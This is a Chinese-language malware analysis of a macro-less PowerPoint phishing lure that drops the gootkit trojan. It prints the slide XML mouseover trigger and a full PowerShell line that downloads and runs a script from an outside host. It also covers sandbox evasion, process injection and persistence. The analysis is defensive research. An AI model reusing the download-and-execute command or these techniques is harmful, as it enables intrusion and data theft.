1. 程式人生 > 其它 >新型PPT釣魚攻擊分析(含gootkit木馬詳細分析)

新型PPT釣魚攻擊分析(含gootkit木馬詳細分析)

1 概述

最近出現了一種新型的PPT釣魚攻擊方式,該種釣魚攻擊方式不需要巨集就能實現執行powershell的功能,通過網路下載gootkit木馬進行控制。

2 分析

樣本 MD5:3bff3e4fec2b6030c89e792c05f049fc

在拿到樣本我們放到虛擬機器中進行執行,可以看到以下,但是這並不會觸發攻擊

當我們用F5放映這個文件後,並把滑鼠放到 Loading…Please wait 這個上面,就可以看到如下的畫面,提示我們要啟動一個外部程式

這個時候我們在點選啟動之後,會看見一個powershell的視窗一閃而過,可以知道樣本執行了一段powershell的指令碼

我們將樣本字尾名改為zip,看看這段powershell 程式碼在何處,我們最終在pptslides中找到了這段powershell指令碼

我們在slide1.xml.rels 中找到這段powershell指令碼,我們可以看到Id為rId2,

我們在對應的slide1.xml 中id為rId2 對應的動作位為,當滑鼠覆蓋時,就觸發這個外部事件

<a:hlinkMouseOver r:id="rId2"action="ppaction://program"/>

我們來看看這段powershell 指令碼(已還原),可以看到是下載一個php檔案放到臨時資料夾,並重命名為ii.jse

powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://'+'cccn.nl/'+'c.php',"$env:tempii.jse");Invoke-Item "$env:tempii.jse""

我們可以看到這個js 檔案,這個檔案是經過強混淆的作用是下載個exe檔案

我們來詳細分析下下載到的PE檔案

13cdbd8c31155610b628423dc2720419

下圖為樣本的大致流程

在樣本的開始階段,做了些反模擬機的工作,比如一些錯誤的函式呼叫,看返回值是否被修改,執行很多無效指令,來達到模擬機指令的閾值等等

我們來看看這個樣本中的sub_41E160中的無效指令

之後一個大的sleep來對抗沙箱,因為很多沙箱是有時間範圍的

之後在解密出一段shellcode進行執行,這段shellcode的主要作用就是解密出一個pe檔案然後載入執行,解密出的PE檔案

將這個PE檔案dump出來,看以下基本資訊

89509761e2636e2b8a1c6f7ec8823b8f

樣本首先會獲取當前樣本名稱和mstsc.exe比較,如果不相同,則進入注入模組

樣本首先會建立mstsc.exe

然後通過ZwCreateSection和ZwMapViewOfSection 進行注入,並在注入後,獲取啟動地址並進行修改

我們手動附加,進行修改,然後修改EIP,進行除錯,我們將開始地址修改為下面的樣子

由於和原檔案程式碼相同,我們直接到檔名比較的地方,這裡比較相同後,首先會獲取程序的許可權

如果判斷是低許可權的程序,則會通過ShellExecuteEx 使用管理員許可權啟動

之後在比較當前程序不是IE和不是任務程序後,開啟BIOS登錄檔,查詢是否在虛擬機器中

並從系統資訊中找到沙箱的蛛絲馬跡這個是尋找Sandbox

查詢BOCHS

查詢的沙箱還有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、

如果查詢到沙箱則進入死迴圈

然後拷貝自身到如下目錄下,重新命名位mqnets.exe,並執行

並刪除自身

我們看看在拷貝到IE目錄下樣本會做些什麼,在這裡比較是在IE目錄下的時候,會發生跳轉

可以通過虛擬碼可以發現在通過比較後。會執行一個執行緒,我們看看這個執行緒

開頭還是一段判斷自己是否在虛擬機器中

設定了4個環境變數分別是

Standalonemtm true

Vendor_id exe_scheduler_3333

Mainprocessoverride svchost.exe

RandomListenPortBase 6000

這個執行緒的主要作用是開啟下面的5個執行緒

我們首先看第一個執行緒,主要作用是連線一個網址

網址為 web.1901ospinosct.com

在連線時候,還包括了探測IE代理的設定,如果發現,進行設定

關閉重定向和加入查詢認證(SSL)

將接收的檔案內容放到註冊中

登錄檔為 HKEY_CURRENT_USERSoftwarebinaryImage32_0

HKEY_CURRENT_USERSoftwarebinaryImage32_1

第二個執行緒主要是將第一步下載的建立成檔案

將IE的保護模式設定位禁用

第三個執行緒將檔案進行注入

第四個執行緒主要是保持持久化

建立inf檔案

設定啟動

使用 IEAKGroupPolicyPendingGPOs key 去保持持久化

第五個執行緒主要是判斷Temp檔案是否如下圖的檔案,如果有殼殺死自身,並刪除自身

總結

樣本在對抗沙箱和模擬機中有很強的針對性,在持久話方面也很獨特,值得研究一下